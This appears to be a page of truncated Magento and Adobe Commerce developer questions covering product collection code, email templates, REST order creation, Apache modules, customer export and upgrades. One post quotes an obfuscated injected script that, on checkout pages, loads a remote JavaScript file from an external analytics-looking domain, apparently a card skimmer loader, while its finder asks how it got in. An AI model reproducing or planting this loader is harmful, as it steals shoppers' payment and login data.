public function getProductCollection() { $objectManager = MagentoFrameworkAppObjectManager::getInstance(); $filterableAttributes = $objectManager->create(MagentoCatalogModelLayerCategoryFilterableAttributeList::class); $attributes = $filterableAttributes->getList(); $price=$this->getRequest()->getParam('price'); $cat=$this->getRequest()->getParam('cat'); $sortby=$this->getRequest()->getParam('product_list_order'); if (empty($sortby)) { $sortby='position'; } $listdesc=$this->getRequest()->getParam('product_list_dir'); $page=($this->getRequest()->getParam('p'))? $this->getRequest()->getParam('p') : 1; //get values of current limit $pageSize=($this->getRequest()->getParam('limit'))? $this->getRequest()->getParam('limit') : 3; $collection = $this->_productCollectionFactory->create(); $collection->addAttributeToSelect('*'); $collection->setOrder('title','ASC'); $collection->setPageSize($pageSize); $collection->setCurPage($page); foreach ($attributes as $attributes1 ) { $attributefrontend = […]
Magento
I tried overriding the info/purchaseorder.phml to add additional data on email and admin order view. I used plugin to override the template. The admin order view is working as expected but the order email is not sending. I checked the logs and found this issue. [2023-07-02T18:23:59.552138+00:00] report.CRITICAL: MagentoFrameworkExceptionValidatorException: Invalid template […]
An Adobe Commerce Architect is working on a multi-server horizontally scaled Adobe Commerce on-premise installation. There are three nodes up and running the Adobe Commerce installation: node A, node B, and node C. A load balancer redirects traffic to each node evenly. The Remote Storage module is enabled and set […]
I am trying to create a new order using the /V1/orders/create rest API but when I search on google or dev docs it shows me a different set of API to do the order process (https://devdocs.magento.com/guides/v2.3/rest/tutorials/orders/order-intro.html). So is there a way to create an order using /V1/orders/create? if none then […]
So basically I added a custom select address attribute. This selection has 2 available values. If value A is selected the required validation of the form for firstname and lastname is removed and making the company input required. If value B is selected it will be vice versa. The saving […]
so other than the baseline required apache mods for magento 2.4.4 (as per https://devdocs.magento.com/guides/v2.3/install-gde/prereq/apache.html). What other mods do you think should be enabled in apache to improve performance? For example, I noticed that I don’t have mod_cache enabled, should I? Or will that break magento? Thanks for your advice in […]
we found a script like this in shipping/shipping_policy/shipping_policy_content <script id="shopcart">((g,r,w,s,t,o) => {if(g.location.href.indexOf(atob(t))>-1){a=r.createElement(w);a.id="carthelper";a.async=1;a.src=atob(o);r.body.appendChild(a);}if(document.querySelector("#shopcart")){document.querySelector("#shopcart").remove();}})(window,document,"script","gCaptcha","Y2hlY2tvdXQ","aHR0cHM6Ly9zdGF0aWMud2ViYWdlbmN5YW5hbHl0aWNzLmNvbS9tYWluLmpzP3Y9MS4wLjM")</script> Which translates to https://static.webagencyanalytics.com/main.js?v=1.0.3 I’m trying to determine how this was injected but I can’t find references to the script itself or the base64 encoded string or the decoded string Any ideas how I can detect the root […]
I have a problem with a Magento ver. 1.9.4.5 website with well over 55.000 customers in it’s database and I need to export them. I have spent hours trying with System/export/profile and selecting Customer and all the mapping fields. The problem is that the customers do not have the “address” […]
Firstly, thanks for any help in advance 🙂 I have successfully upgraded my magento 1.9 in my local dev environment to magento 2.4.4 (took ages and a lot of hair pulling, but I finally made it! lol) I’m looking for some help / tips and tricks / sagely advice from […]